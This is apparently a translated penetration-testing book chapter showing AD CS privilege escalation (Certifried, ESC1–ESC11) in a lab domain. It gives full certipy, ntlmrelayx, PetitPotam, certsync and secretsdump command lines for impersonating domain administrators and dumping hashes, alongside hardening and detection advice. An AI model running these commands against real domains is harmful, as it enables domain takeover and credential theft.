在本部分中,我们将探讨通过利用各种安全问题(如模板和扩展配置错误(ESC1、2、3、9 和 10)、不当访问控制(ESC4、5 和 7)、CA 配置错误(ESC6)和中继攻击(ESC8 和 11))来提升权限的实际技术。我选择了这样的攻击分组,参考了[12]。但首先,我们将从由Oliver Lyak发现的一个关键漏洞开始,称为Certifried,它在补丁后演变为 ESC9 和 ESC10。

Certifried(CVE-2022-26923)

该漏洞与samAccountName欺骗(CVE-2021-42278)有许多相似之处。作者的原创研究已在此发布[13]。

在 AD CS 中,默认情况下有两个认证证书:用户和机器。每个用户帐户都有一个用户主体名称UPN),该名称必须是唯一的。UPN 嵌入到证书中,并在认证过程中由 KDC 使用。计算机帐户没有 UPN,dNSHostName 作为替代使用。计算机帐户的创建者有权写入此属性,称为验证写入 DNS 主机名。该属性不要求唯一性,但在dNSHostName更改后,SPN 也将更改。SPN 在域中有唯一性要求,但计算机帐户创建者可以更改 SPN(验证写入服务主体名称)。攻击的思路是创建一个计算机帐户,清除包含完全限定域名(FQDN)的 SPN,将dNSHostName更改为与目标匹配(例如,域控制器),然后请求证书。需要特别说明的是,dNSHostName属性仅在请求证书时使用,而不用于证书映射。

为了在本节中进行攻击,我们将使用名为 Certipy[14] 的工具;不过,也有一个名为certipy-ad的分支,可以安装在 Kali 上。两种工具的语法是相同的。两种工具都支持所有特权提升场景、影子凭据攻击和金色证书伪造。

首先,我们为攻击做必要的准备。我们将创建一个计算机帐户,清除 SPN,并将 dNSHostName 属性更改为与域控制器匹配。以下 PowerShell 命令和 StandIn 工具将完成这项工作:

StandIn.exe –computer legitpc –make
Set-ADComputer legitpc -ServicePrincipalName @{}
Set-ADComputer legitpc -DnsHostName meereen.essos.local
Get-ADComputer legitpc -properties dnshostname,serviceprincipalnames

前面命令执行的结果如下截图所示:

图 8.15 – Certifried 利用准备

图 8.15 – Certifried 利用准备

现在,使用 certipy-ad,我们请求证书并以域控制器计算机帐户身份进行身份验证:

certipy-ad req -u 'legitpc$@essos.local' -p 'xfdb8UeqqgT9Aje' -target 192.168.56.23 -ca ESSOS-CA -template Machine -dc-ip 192.168.56.12
certipy-ad auth -pfx meereen.pfx -dc-ip 192.168.56.12

命令执行的结果如下截图所示:

图 8.16 – 获取域控制器的哈希值和 TGT

图 8.16 – 获取域控制器的哈希值和 TGT

在证书检索后,建议将dNSHostName更改回原始值[15]。现在,我们已经获得了域控制器计算机帐户的 NT 哈希值,可以用来进行身份验证或伪造 Silver Ticket。为了防止被利用,请安装 Microsoft 提供的补丁。

在下一节中,您将学习模板和扩展配置错误如何导致特权提升。

模板和扩展的配置错误

以下小节详细说明了一些常见的证书模板和扩展配置错误的方式。

ESC1 – 配置错误的证书模板

一组特定的设置,包括默认设置,使模板容易受到攻击。此特权提升场景需要以下配置设置:

  • 标准用户拥有由企业 CA 授予的注册权限

  • 禁用经理审批(mspki-enrollment-flag0x00000000

  • 无需授权签名(msPKI-RA-Signature0x00000000

  • 证书模板定义了任何客户端身份验证 EKUs

  • 证书模板允许请求者在 CSR 中指定subjectAltNamemsPKI-Certificate-Name-Flag0x00000001

最后一项有效地允许用户以任何身份请求证书,包括域管理员。此行为由证书模板 AD 对象中的 mspki-certificate-name-flag 属性中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志定义。为了找到这种配置错误的模板,攻击者可以使用 Certify/Certipy 或纯 LDAP 查询。LDAP 查询看起来很复杂,但其实它只是前述配置选项的拼接:

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentenrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=essos,DC=local'

查询的结果如下:

图 8.17 – LDAP 查询查找 ESC1 漏洞模板

图 8.17 – LDAP 查询查找 ESC1 漏洞模板

现在,我们将验证 LDAP 查询的结果,为内建域管理员签发证书并使用该证书进行身份验证:

certipy-ad find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -vulnerable -stdout
certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC1 -upn 'administrator@essos.local'
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12

结果如下截图所示:

图 8.18 – ESC1 的成功利用

图 8.18 – ESC1 的成功利用

为防止特权提升,需要对模板进行加固。最佳做法是禁用Supply in Request设置,并强制执行 CA 证书经理的批准。接下来,可以收紧用户注册权限,并审查证书中的 EKU。最后,在域控制器上,可以在HKLM\SYSTEM\CurrentControlSet\Services\Kdc注册表项中强制执行严格的用户映射,并将 DWORD UseSubjectAltName值设置为0

使用 Windows 事件日志无法直接可靠地检测 ESC1,因此更好的做法是考虑采取预防措施。

ESC2 – 配置错误的证书模板

这种技术与 ESC1 类似,但有些微小的偏差。Any Purpose EKU 允许攻击者以用户身份本身请求认证证书,而不是代表其他用户。漏洞存在的条件如下:

  • 标准用户有企业 CA 授予的注册权限

  • 管理员批准已禁用(mspki-enrollment-flag0x00000000

  • 无需授权签名(msPKI-RA-Signature0x00000000

  • 证书模板定义了Any Purpose EKU 或没有 EKU

查找易受攻击模板的 LDAP 查询如下:

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=essos,DC=local'

查询结果如下:

图 8.19 – 查找 ESC2 易受攻击模板的 LDAP 查询

图 8.19 – 查找 ESC2 易受攻击模板的 LDAP 查询

以下命令将允许你为khal.drogo请求证书并用于身份验证:

certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC2
certipy-ad auth -pfx khal.drogo.pfx -dc-ip 192.168.56.12

结果如下截图所示:

图 8.20 – ESC2 的成功利用

图 8.20 – ESC2 的成功利用

针对此问题的预防建议与 ESC1 相同。

ESC3 – 配置错误的注册代理模板

这个特权提升向量利用了不同的 EKU – Certificate Request Agent(OID 1.3.6.1.4.1.311.20.2.1)。该 EKU 允许你代表其他用户注册证书。主体在此类模板中注册,并使用签发的证书代替其他用户共同签署 CSR。下一步是注册一个允许代表用户发送共同签署 CSR 的模板,然后 CA 将为该用户签发证书。此攻击需要满足两个条件。第一个条件要求注册代理证书模板允许用户注册。为了成功进行攻击,以下配置参数必须存在:

  • 标准用户有企业 CA 授予的注册权限

  • 管理员批准已禁用(mspki-enrollment-flag0x00000000

  • 无需授权签名(msPKI-RA-Signature0x00000000

  • 证书模板定义了证书请求 代理 EKU

和之前一样,我们将利用 LDAP 查询查找一个符合第一个条件的模板:

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.1)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=essos,DC=local'

结果是,我们找到了匹配第一个条件的 ESC3-CRA 模板:

图 8.21 – 使用 LDAP 查询查找证书请求代理模板

图 8.21 – 使用 LDAP 查询查找证书请求代理模板

第二个条件允许用户使用第一个条件中的证书,代表其他用户请求证书以进行身份验证。对于此条件,必须满足以下配置参数:

  • 企业 CA 授予低权限用户注册权限

  • 管理员批准已禁用

  • 证书模板定义了启用身份验证的 EKU

  • CA 上未实现注册代理限制

  • 模板架构版本为 1 或更大,并指定Application Policy发布要求作为证书请求 代理 EKU

听起来有点复杂,但以下 LDAP 查询可以明确要求:

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=1)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=essos,DC=local'

结果是,我们找到了 ESC3 易受攻击模板:

图 8.22 – 使用 LDAP 查询查找 ESC3 易受攻击模板

图 8.22 – 使用 LDAP 查询查找 ESC3 易受攻击模板

攻击将分为两步 – 为代理请求证书,然后使用该证书代表域管理员请求证书。以下命令将实现所需结果:

certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC3-CRA
certipy-ad req -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC3 -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12

命令执行的结果如以下截图所示:

图 8.23 – ESC3 成功利用

图 8.23 – ESC3 成功利用

预防措施将与之前的两种攻击类似,但也很重要的一点是要限制注册代理。我们可以定义谁可以作为注册代理,以及代理被允许代表哪些用户和证书模板进行注册。

ESC9 – 无安全扩展

这个和下一个攻击向量是Oliver Lyak在 2022 年 5 月的 Microsoft 安全更新后发现的。原始研究可以在这里找到[16]。为了修复 Certifried(CVE-2022–26923),Microsoft 引入了新的szOID_NTDS_CA_SECURITY_EXT安全扩展,将请求者的objectSid属性嵌入证书中。此外,还创建了两个新的注册表项值 – HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethodsHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement。这两个值对应 Kerberos 和 Schannel 证书映射。

StrongCertificateBindingEnforcement可能有三个值,对应以下内容:

  • 0 – 无强证书映射检查。KDC 验证证书是否由受信任的 CA 颁发并可用于认证。接下来,通过 UPN 或 DNS SAN 值将其映射到账户。

  • 1(默认)– 检查账户对象的altSecurityIdentities属性中是否包含标识符。如果没有,则域控制器将验证证书中的新 SID 扩展(szOID_NTDS_CA_SECURITY_EXT)。如果没有扩展,映射将像值为0一样执行。

  • 2 – 所有检查与1的值相同,唯一不同的是缺少扩展,这将导致认证被拒绝。

Schannel 认证不会直接使用新的安全扩展,而是通过 Kerberos 使用 S4U2self 来映射证书,因为它支持新的扩展。然而,补丁已经破坏了许多环境中的证书认证,微软建议将注册表键的值设置回旧值。这意味着具有 UPN 或 DNS 名称且CertificateMappingMethods值为0x4的证书,在映射过程中不会受到新安全扩展的影响。我们来总结一下 ESC9 的条件:

  • StrongCertificateBindingEnforcement未设置为2,或者CertificateMappingMethods包含0x4值。

  • 模板包含msPKI-Enrollment-Flag值,并设置了CT_FLAG_NO_SECURITY_EXTENSION标志。

  • 模板指定了客户端认证 EKU。

  • 一个受损的用户拥有GenericWrite权限,可以对能注册易受攻击模板的用户进行操作。我们的最终目标是通过已注册的用户帮助受损的用户。

为了模拟此攻击,我们需要在 CA 和域控制器[17]上安装 2022 年 5 月的补丁。建议在安装前先进行快照。然后,我们将创建并发布 ESC9 模板,设置第二个条件的标志,授予viserys.targaryen注册权限,最后执行攻击。从 Shadow Credentials 攻击中,我们已经知道khal.drogoviserys.targaryen拥有GenericAll权限。让我们通过以下步骤模拟这个场景:

  1. 为了确保我们正确准备实验环境,执行以下命令:

    certutil -dstemplate ESC9 msPKI-Enrollment-Flag +0x00080000
    certutil -dstemplate ESC9 msPKI-Enrollment-Flag
    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement
    

    输出应该如下所示:

图 8.24 – 执行 ESC9 攻击的条件已满足

图 8.24 – 执行 ESC9 攻击的条件已满足

  1. 获取viserys.targaryen的 NT 哈希:

    certipy shadow auto -u 'khal.drogo@essos.local' -p 'horse' -account viserys.targaryen
    
  2. viserys.targaryen的 UPN 更新为管理员:

    certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn Administrator
    
  3. 使用 ESC9 易受攻击模板以viserys.targaryen身份请求证书:

    certipy req -username 'viserys.targaryen@essos.local' -hashes 'd96a55df6bef5e0b4d6d956088036097' -target 192.168.56.23 -ca 'ESSOS-CA' -template ESC9
    
  4. viserys.targaryen的 UPN 更改回原始值:

    certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn viserys.targaryen@essos.local
    
  5. 通过 nPAC-the-hash 获取管理员的 NT 哈希:

    certipy auth -pfx 'administrator.pfx' -domain 'essos.local'
    

攻击结果如下截图所示:

图 8.25 – 成功利用 ESC9 漏洞

图 8.25 – 成功利用 ESC9 漏洞

最佳的预防建议是将StrongCertificateBindingEnforcement设置为2;但是,这可能会破坏域中的证书认证。此外,使用以下命令从模板中删除msPKI-Enrollment-Flag

certutil -dstemplate ESC9 msPKI-Enrollment-Flag -0x00080000

ESC10 - 弱证书映射

这种攻击技术有两种情况 - 当StrongCertificateBindingEnforcement设置为0CertificateMappingMethods包含值0x4时。简单来说,这意味着证书的 SAN 优先于新的安全扩展。仍然必须满足关于具有客户端认证 EKU 和GenericWrite权限的模板的要求。第一种情况与 ESC9 攻击相同,但可以使用任何证书模板。第二种情况针对机器帐户和默认域管理员,因为它们没有 UPN 属性。我们的目标是妥协域管理员。再次,我们将使用khal.drogo具有viserys.targaryen上的GenericAll权限:

  1. 为确保我们正确准备实验室,运行以下命令:

    reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel /v CertificateMappingMethods
    

    输出应该如下截图所示:

图 8.26 - CertificateMappingMethod 值为 0x4,允许 ESC10 攻击

图 8.26 - CertificateMappingMethod 值为 0x4,允许 ESC10 攻击

  1. 检索viserys.targaryen的 NT 哈希:

    certipy shadow auto -u 'khal.drogo@essos.local' -p 'horse' -account viserys.targaryen
    
  2. viserys.targaryen的 UPN 更新为Administrator@essos.local

    certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn 'Administrator@essos.local'
    
  3. 注册任何允许客户端认证的证书模板:

    certipy req -username 'viserys.targaryen@essos.local' -hash 'd96a55df6bef5e0b4d6d956088036097' -target 192.168.56.23 -ca 'ESSOS-CA' -template User
    
  4. viserys.targaryen的 UPN 更改回原始状态:

    certipy account update -username 'khal.drogo@essos.local' -p 'horse' -user viserys.targaryen -upn viserys.targaryen@essos.local
    
  5. 通过 Schannel 获取 LDAP shell:

    certipy auth -pfx 'administrator.pfx' -domain 'essos.local' -dc-ip 192.168.56.12 -ldap-shell
    

攻击的结果如下截图所示:

图 8.27 - 成功利用 ESC10

图 8.27 - 成功利用 ESC10

要防止此攻击,请从注册表中的CertificateMappingMethods设置中删除0x4部分。

不当的访问控制

由于 Active Directory 中的一切都是对象,这意味着每个对象都有自己的 ACL。在之前的章节中,我们讨论了 ACL 滥用;现在,我们将从 AD CS 的角度重新利用我们的知识。

ESC4 - 易受攻击的证书模板访问控制

证书模板是 Active Directory 中的对象。它们有一个安全描述符,用来定义主体及其对模板的权限。访问控制过于宽松可能会允许攻击者编辑模板设置,使模板易受之前所述技术的攻击。从安全角度来看,关键权限包括所有权、完全控制和任何类型的 写入 权限。现在有多种工具可以帮助识别和滥用易受攻击的模板:PowerView、Bloodhound、StandIn、Certipy 和 modifyCertTemplate[18]。关于如何仅使用 PowerView 来利用 ESC4 的详细步骤指南可以在这里找到[19]。在开始时,我们将使用 certipy-ad 工具。我们将检测易受攻击的模板和可以滥用它们的用户:

certipy-ad find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -vulnerable -stdout

以下命令的输出如下:

图 8.28 – khal.drogo 在 ESC4 上具有过多权限

图 8.28 – khal.drogo 在 ESC4 上具有过多权限

接下来的步骤是通过将 ENROLLEE_SUPPLIES_SUBJECT 属性添加到模板中,使模板容易受到 ESC1 攻击。为了更好地理解这个攻击,我们将借助 modifyCertTemplate 工具,逐步操作。

首先,我们将检查证书的 ACL 和属性:

python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -raw
python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -get-acl

结果,我们将看到一份属性列表,并确认 khal.drogo 对该模板拥有 写入 权限。接下来,我们将配置模板,使其满足 ESC1 攻击的要求:

  1. 我们将使用以下命令禁用“经理审批”要求:

    python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -value 0 -property mspki-enrollment-flag
    
  2. 禁用“授权签名”要求:

    python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -value 0 -property mspki-ra-signature
    
  3. 在请求中启用 SAN 规范:

    python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag
    
  4. 添加一个允许域认证的 EKU:

    python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -property pkiExtendedKeyUsage -add "Client Authentication"
    
  5. 应用“应用程序策略”以允许域认证:

    python3 modifyCertTemplate.py essos.local/khal.drogo:horse -template esc4 -dc-ip 192.168.56.12 -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy
    

上述命令的结果如下截图所示:

图 8.29 – 调整后的易受攻击模板适应 ESC1 攻击路径

图 8.29 – 调整后的易受攻击模板适应 ESC1 攻击路径

现在,我们可以像在 ESC1 攻击中一样,滥用配置错误的模板:

certipy-ad req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC4 -ca 'ESSOS-CA' -upn administrator@essos.local
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12

结果,我们成功请求了证书,并以域管理员身份获取了 TGT。

图 8.30 – 成功利用 ESC4 进行攻击

图 8.30 – 成功利用 ESC4 进行攻击

为了防止这种攻击,建议定期审查证书的 ACL,以确保仅将高权限分配给正确的用户组。通过事件 ID 5136可以检测此类行为,但需要调整审计策略。此事件 ID 监控我们之前更改的关键证书模板属性的修改。另一个有助于检测该事件 ID 的是4899。然而,事件日志中并没有记录哪个账户进行了更改,并且只有在使用修改后的模板进行注册时,该事件才会被记录[20]。模板 AD 对象上的 SACL 也可以强制执行,从而在事件 ID 4662中提供更细粒度的视图。

ESC5 – 易受攻击的 PKI 对象访问控制

如果攻击者对以下对象具有某些权限,则可能会危及整个 PKI 系统:

  • CA 服务器的计算机账户

  • CA 服务器的 RPC/DCOM 服务器

  • CN=Public** **Key Services,CN=Services,** **CN=Configuration,DC=<COMPANY>,or** **DC=<COM>容器中的任何后代对象/容器

例如,让我们讨论以下场景。一名攻击者通过 RBCD 成功攻击了 CA 服务器的计算机账户。获得访问权限后,CA 服务器上具有本地管理员权限的域账户的 NT 哈希值被转储。此时,攻击者可以伪造一个 Golden 证书。为了复制这个攻击,我将viserys.targaryen添加到本地管理员组中。

作为本地管理员,可以使用以下命令备份 CA 证书和私钥:

certipy-ad ca -backup -u viserys.targaryen -p GoldCrown -ca ESSOS-CA -target 192.168.56.23

接下来,我们将为域管理员伪造一个证书并用于身份验证。请记住,-template选项用于避免 Kerberos KDC_ERR_CLIENT_NOT_TRUSTED错误,这意味着伪造不正确:

Certipy-ad forge -ca-pfx ESSOS-CA.pfx -upn Administrator@essos.local -subject 'CN=Administrator,CN=Users,DC=essos,DC=local' -template khal.drogo.pfx
certipy-ad auth -pfx administrator_forged.pfx -dc-ip 192.168.56.12

攻击的结果如下截图所示:

图 8.31 – 成功利用 ESC5 漏洞

图 8.31 – 成功利用 ESC5 漏洞

另一种技术,名为CertSync,最近被发布。它允许通过结合 Golden 证书和 UnPAC-the-hash 远程转储ntds.dit,而无需使用 DRSUAPI[21]。显然,需要对 CA 的特权访问。Golden 证书是使用 CA 证书私钥伪造的证书。我们将在后续讨论域持久性技术时详细介绍伪造的过程。CertSync攻击的步骤如下:

  1. 从 LDAP 中转储用户列表、CA 信息和 CRL。

  2. 转储 CA 证书和私钥。

  3. 为每个用户伪造一个证书。

  4. 为每个用户获取 NT 哈希值,使用 UnPAC-the-hash。

发起攻击的命令如下:

certsync -u viserys.targaryen -p GoldCrown -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12

结果,所有用户的 NT 哈希值被转储:

图 8.32 – 成功的 certsync 攻击

图 8.32 – 成功的 certsync 攻击

该工具还有一些选项可以提高 OpSec(例如,在身份验证请求之间应用超时,模仿现有模板等)。

另一项令人兴奋的研究成果是由SpecterOps发布的,关于如何通过使用 ESC5 从域管理员晋升为企业管理员。你可以在这里阅读更多[22]。

为了防止 ESC5,对 CA 服务器进行加固,并确保只有必要的帐户可以访问。可以通过审计 SACLs 监控证书模板修改来进行检测。

ESC7 – 可能受攻击的证书颁发机构访问控制

当 CA 本身的 ACL 不够严格时,这种攻击是可能的。我们感兴趣的两个主要权限是ManageCA(CA 管理员)和颁发和管理证书(证书管理员)。ManageCA允许添加EDITF_ATTRIBUTESUBJECTALTNAME2标志,有效地使 CA 容易受到 ESC6 攻击。然而,需要重新启动服务才能引入此更改。此外,安装的 2022 年 5 月安全更新会杀死 ESC6。如何使用 PowerShell PSPKI 模块将过多权限转换为 ESC6 的良好示例可以在这里找到[23]。

然而,ManageCA权限允许你授予自己颁发和管理证书的访问权限。这个角色允许我们批准待处理的请求,从而消除了经理批准发放的要求。现在,我们可以结合新的权限来执行攻击。默认的SubCA模板容易受到 ESC1 的攻击,并且具有任何用途的 EKU。攻击者可以使用SubCA模板请求证书,但请求将被拒绝,因为只有管理员可以在其中注册。然而,可以使用具有ManageCA颁发和管理证书权限的帐户手动批准请求。重要的是要注意,这两个权限都是必需的。然后可以手动检索证书并用于域身份验证。

为了展示前述情景,我将授予khal.drogo用户ManageCA权限。这可以在证书颁发机构(certsrv)MMC中的CA 属性安全选项卡中授予。我们将从 CA 的 ACL 枚举开始。我们可以使用一个名为 PSPKI 的 PowerShell 模块或带有cas参数的Certify.exe。它将显示khal.drogo拥有ManageCA权限。

图 8.33 – ESSOS-CA 的 ACL 枚举

图 8.33 – ESSOS-CA 的 ACL 枚举

我们将授予khal.drogo用户颁发和管理证书权限,也称为官员。然后,如果已禁用,我们将启用SubCA模板:

certipy-ad ca -u khal.drogo@essos.local -p horse -ca 'ESSOS-CA' -target braavos.essos.local -add-officer khal.drogo
certipy-ad ca -u khal.drogo@essos.local -p horse -ca 'ESSOS-CA' -target braavos.essos.local -enable-template SubCA

执行前述命令的结果如下:

图 8.34 – 启用 SubCA 模板并授予 khal.drogo 官员权限

图 8.34 – 启用 SubCA 模板并授予 khal.drogo 官员权限

我们将通过请求使用SubCA模板的证书来发起攻击,手动批准它,最后检索已发放的证书。以下命令将执行攻击:

certipy-ad req -u khal.drogo@essos.local -p horse -ca ESSOS-CA -target braavos.essos.local -template SubCA -upn administrator@essos.local
certipy-ad ca -u khal.drogo@essos.local -p horse -ca ESSOS-CA -target braavos.essos.local -issue-request 19
certipy-ad req -u khal.drogo@essos.local -p horse -ca ESSOS-CA -target braavos.essos.local -retrieve 19
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12

前述命令的结果如下截图所示:

图 8.35 – 成功的 ESC7 攻击

图 8.35 – 成功的 ESC7 攻击

Tarlogic发布了一些引人入胜的研究。研究表明,如果对手拥有ManageCA权限,则可以通过上传 Web shell 实现远程代码执行。研究可在此处找到[24]。

为防止 ESC7,审查对 CA 具有敏感安全权限的主体。通过 Sysmon 注册表规则,可以检测到攻击者将设置EDITF_ATTRIBUTESUBJECTALTNAME2标志的情况。更改 CA 安全权限会生成事件 ID 4882,如下所示:

图 8.36 – khal.drogo 添加了证书管理权限

图 8.36 – khal.drogo 添加了证书管理权限

下一节将演示,过去默认的 CA 配置导致完全接管 AD CS。

CA 配置错误

现在我们将讨论一个在 2022 年 5 月由 Microsoft 补丁修复的攻击,但您仍可能在旧环境中遇到它。

ESC6 – EDITF_ATTRIBUTESUBJECTALTNAME2

如果 CA 上设置了EDITF_ATTRIBUTESUBJECTALTNAME2标志,任何请求都可以在主题备用名称中定义值。实际上,任何域用户都可以在为域身份验证配置的任何模板中注册,并获取证书,包括域管理员。与 ESC1 的区别在于,帐户信息存储在证书属性中,而不是在证书扩展中。此标志存储在注册表中,可以使用certutil.exe/certify从非提升的上下文中验证;但是,如果检查是通过网络进行的,则远程注册表服务应该正在运行:

certutil -config "braavos\ESSOS-CA" -getreg "policy\EditFlags"

Certify 将检测到此标志并引发问题:

图 8.37 – 标志已设置

图 8.37 – 标志已设置

利用相对简单。我们请求一个用户证书,其中域管理员作为替代名称:

certipy-ad req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca 'ESSOS-CA' -upn administrator@essos.local
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12

结果如下截图所示:

图 8.38 – 成功的 ESC6 攻击

图 8.38 – 成功的 ESC6 攻击

要防止此攻击,请使用以下命令禁用标志(需要域管理员权限)并重新启动服务:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

2022 年 5 月的安全更新杀死了 ESC6;现在,它只能与 ESC10 结合使用。该补丁强制新证书具有一个安全扩展,其中嵌入了请求者的objectSid属性,而不是来自 SAN 的值。

在下一节中,我们将重新审视中继攻击第五章,但仅适用于 AD CS 的新方法。

中继攻击

我们之前在第五章中讨论过中继攻击。在这里,我们将重新审视它们,但现在重点放在 AD CS 上。

ESC8 – NTLM 中继到 AD CS HTTP 端点

如果安装了额外的 AD CS 服务器角色,可能会引入几种基于 HTTP 的注册方法。这些基于 HTTP 的注册方法容易受到 NTLM 或 Kerberos 中继攻击的影响。例如,对手可以使用PetitPotam来强制从域控制器到所选主机的 NTLM 身份验证。然后,NTLM 凭据被中继到 AD CS 网页注册页面,并颁发域控制器证书。使用此证书,对手将请求 TGT 并通过传递证书访问域控制器。这种攻击的执行方式取决于可用工具和协议的不同版本[25]。我们将坚持使用 Linux 方式,按照实验作者Mayfly[26]的步骤:

  1. 使用Certify.execas参数查找注册端点。

  2. 在我们的 Kali 机器上创建一个监听器,将 SMB 身份验证中继到 AD CS HTTP 端点:

    impacket-ntlmrelayx -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
    

    我们选择DomainController模板,因为我们的目标是域控制器。如果我们的目标是工作站,我们可以使用Machine模板,对于域用户,我们可以使用User模板。

  3. 使用PetitPotam强制进行身份验证;但是,您也可以选择任何其他方法:

    python3 PetitPotam.py 192.168.56.100 meereen.essos.local
    
  4. 在强制身份验证后获取证书:

图 8.39 – 获取域控制器的计算机帐户证书

图 8.39 – 获取域控制器的计算机帐户证书

  1. 通过传递证书请求 TGT:

    python3 gettgtpkinit.py -pfx-base64 $(cat /home/kali/cert.b64) -dc-ip 192.168.56.12 'essos.local/meereen$' 'meereen.ccache'
    
  2. 使用 TGT,获取daenerys.targaryen的 NT 哈希:

    export KRB5CCNAME=meereen.ccache
    impacket-secretsdump -k -no-pass -just-dc-user daenerys.targaryen ESSOS.LOCAL/'meereen$'@meereen.essos.local
    

    攻击的结果如下截图所示:

图 8.40 – 成功的 ESC8 攻击

图 8.40 – 成功的 ESC8 攻击

Certipy-ad 也嵌入了这种攻击:

certipy-ad relay -ca 192.168.56.23 -template DomainController
certipy-ad auth -pfx meereen.pfx -dc-ip 192.168.56.12

使用任何强制方法后,我们获得了证书和 NT 哈希:

图 8.41 – 成功的 ESC8 攻击

图 8.41 – 成功的 ESC8 攻击

预防建议是为证书颁发 Web 服务启用扩展保护认证EPA),禁用未使用的 AD CS HTTP 端点,并在主机和 IIS 级别禁用 NTLM 身份验证。可以通过 CA 服务器上的事件 ID 4624检测使用 NTLM 的机器帐户以及事件 ID 4768,其中域控制器的计算机帐户证书用于请求 TGT。

ESC11 – NTLM 中继到 RPC 端点

这种攻击类似于 ESC8,但中继是针对 RPC 端点而不是 HTTP 端点。原始研究可以在这里找到[27]。证书请求通过ICertPassage RemoteICPR)协议发送到 RPC 端点。要成功执行攻击,必须满足两个条件:

  • IF_ENFORCEENCRYPTICERTREQUEST标志未设置(默认设置)

  • NTLM 签名不是必须的

向后兼容较旧的操作系统版本(< Windows Server 2012)可能是该标志未设置的原因。为了演示,我们将通过在braavos.essos.local机器的提升上下文中运行以下命令来取消设置该标志:

certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc & net start certsvc

以下步骤将成功模拟该攻击:

  1. 使用certipy检查 CA 是否对 ESC11 存在漏洞:

    certipy find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip 192.168.56.12 -stdout
    

    结果如下所示:

图 8.42 – CA 对 ESC11 攻击存在漏洞

图 8.42 – CA 对 ESC11 攻击存在漏洞

  1. 启动监听器,使用DomainController模板定位 CA:

    certipy relay -target 'rpc://braavos.essos.local' -ca 'ESSOS-CA' -template DomainController
    
  2. 使用Coercer工具强制认证:

    python3 Coercer.py coerce -u 'khal.drogo' -p 'horse' --target-ip 192.168.56.12 --listener-ip 192.168.56.100
    
  3. 使用域控制器的计算机账户证书进行认证:

    certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
    

    结果在以下截图中显示:

图 8.43 – 成功的 ESC11 攻击

图 8.43 – 成功的 ESC11 攻击

